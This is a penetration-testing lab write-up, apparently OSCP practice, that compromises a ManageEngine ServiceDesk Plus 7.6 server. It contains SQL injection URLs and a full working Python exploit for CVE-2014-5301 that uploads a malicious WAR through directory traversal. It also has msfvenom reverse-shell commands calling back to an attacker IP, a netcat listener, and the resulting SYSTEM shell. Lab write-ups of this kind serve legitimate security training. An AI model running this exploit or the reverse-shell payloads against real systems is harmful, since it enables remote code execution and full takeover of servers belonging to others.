Enumeration

Web-proxy

  • Running Manage engine Service desk plus 7.60.

A quick search shows this is vulnerable to an SQL injection vulnerability.

http://192.168.162.43:8080/WorkOrder.do?woMode=viewWO&woID=1%27union%20select%20null,null%20;--

This gives an SQL syntax error, telling us the webserver is running Apache Tomcat/5.0.28 with a MySQL database.

SQL injection

  • There are no tables in the Database…
http://192.168.162.43:8080/WorkOrder.do?woMode=viewWO&woID=1%20)%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,1%20from%20information_schmea.tables/*%20--

sqlerror

Since there were no tables in the database I went back to the drawing board as this was a dead end.

With some more enumeration I found the web server was vulnerable to an insecure File Upload vulnerability which can be exploited to gain code execution.

Vulnerable File upload (CVE-2014-5301)


#!/usr/bin/python3

# This script exploits the directory traversal vulnerability in
# ManageEngine ServiceDesk Plus. It has been tested on version 7.6.0.
# See also https://www.cvedetails.com/cve/CVE-2014-5301/

# Use msfvenom to create a war file with meterpreter payload
# msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.108 LPORT=4444 -f war > shell.war
#
# or with a reverse TCP shell
# msfvenom -p java/shell_reverse_tcp LHOST=192.168.56.108 LPORT=4444 -f war > shell.war

# Before executing the script start the meterpreter handler
# meterpreter
#   use multi/handler
#   set payload java/meterpreter/reverse_tcp
#   set LHOST 192.168.56.108
#   run
#
# or start netcat listener on LPORT
# nc -nlvp 4444

# Script usage: ./CVE-2014-5301.py HOST PORT USERNAME PASSWORD WARFILE
# HOST: target host
# PORT: target port
# USERNAME: a valid username for ManageEngine ServiceDesk Plus
# PASSWORD: the password for the user
# WARFILE: a war file containing the mallicious payload

from io import BytesIO
from xml.etree import ElementTree

import base64
import os
import random
import requests
import string
import sys
import time
import zipfile

# Generate a random string of given length
def random_string(length):
    charset = string.ascii_uppercase + string.ascii_lowercase + string.digits
    return ''.join(random.choice(charset) for _ in range(length))

# Extract name from web.xml in the given war file
def get_war_app_base(war_file):
    with zipfile.ZipFile(war_file, "r") as war:
        with war.open("WEB-INF/web.xml") as web_inf:
            xml_root = ElementTree.fromstring(web_inf.read())
            return xml_root.find('servlet').find('servlet-name').text

# Check command line arguments
if (len(sys.argv) - 1) != 5:
    print("Usage: ./CVE-2014-5301.py HOST PORT USERNAME PASSWORD WARFILE")
    exit(1)

# Initialize
host = sys.argv[1]
port = sys.argv[2]
username = sys.argv[3]
password = sys.argv[4]
war_file_name = sys.argv[5]

me_base_url = "http://" + host + ":" + port
s = requests.session()

# Get JSESSIONID which we have to pass during the authentication request
url = me_base_url + "/"
s.get(url)

# Authenticate the user with provided credentials
url = me_base_url + "/j_security_check"
data = dict(j_username=username, j_password=password, logonDomainName=-1)
s.post(url, data=data)

# Upload bogous file - currently not needed
# url = me_base_url + "/common/FileAttachment.jsp"
# multipart_data = [
#     ("module", (None, random_string(4))),
#     (random_string(8), (random_string(8), random_string(32), "application/octet-stream")),
#     ("att_desc", (None, ""))
# ]
# s.post(url, files=multipart_data)

# Create ear file from the given war file
display_name = random_string(32)
ear_app_base = random_string(32)
ear_file_name = ear_app_base + ".ear"
war_app_base = get_war_app_base(war_file_name)

application_xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
application_xml += "<application>"
application_xml += "<display-name>" + display_name + "</display-name>"
application_xml += "<module><web><web-uri>" + war_file_name + "</web-uri>"
application_xml += "<context-root>/" + ear_app_base + "</context-root></web></module>"
application_xml += "</application>"

war_file = open(war_file_name, "rb")
war_file_content = war_file.read()
war_file.close()

in_mem_ear = BytesIO()
with zipfile.ZipFile(in_mem_ear, "w", zipfile.ZIP_STORED) as ear_file:
    ear_file.writestr("META-INF/application.xml", application_xml)
    ear_file.write(war_file_name)

# Upload ear file
url = me_base_url + "/common/FileAttachment.jsp"
multipart_data = [
    ("module", (None, "../../server/default/deploy")),
    (random_string(4), (ear_file_name, in_mem_ear.getvalue(), "application/octet-stream", {"Content-Transfer-Encoding": "binary"})),
    ("att_desc", (None, ""))
]
req = requests.Request("POST", url, files=multipart_data)
prepared_req = s.prepare_request(req)
settings = s.merge_environment_settings(prepared_req.url, {}, None, None, None)
r = s.send(prepared_req, **settings)

# Execute uploaded payload
for i in range(5):
    url = me_base_url + "/" + ear_app_base + "/" +  war_app_base + "/" + random_string(16)
    print("Trying " + url)
    resp = s.get(url)
    if (resp.status_code == 200):
        exit(0)
    else:
        time.sleep(3)

Foothold

Since this was an apache tomcat server we need a java executable in the .war file format.

┌──(kali㉿kali)-[~/Documents/OSCPprep/helpdesk]
└─$ msfvenom -p java/shell_reverse_tcp LHOST=192.168.49.193 LPORT=9001 -f war > shell.war

Running the exploit with the default credentials we found earlier returns a shell

┌──(kali㉿kali)-[~/Documents/OSCPprep/helpdesk]
└─$ python3 cve.py 192.168.193.43 8080 administrator administrator shell.war
Trying http://192.168.193.43:8080/jRcIotUBRWbrSRcD69X4aWIpQzb4mIOJ/hyxdlizeaikxi/nGCt5Kng71mzWG1B
Trying http://192.168.193.43:8080/jRcIotUBRWbrSRcD69X4aWIpQzb4mIOJ/hyxdlizeaikxi/jaaDwbAgP35gK3Ru

Lol nice

C:\ManageEngine\ServiceDesk>whoami
nt authority\system

C:\ManageEngine\ServiceDesk>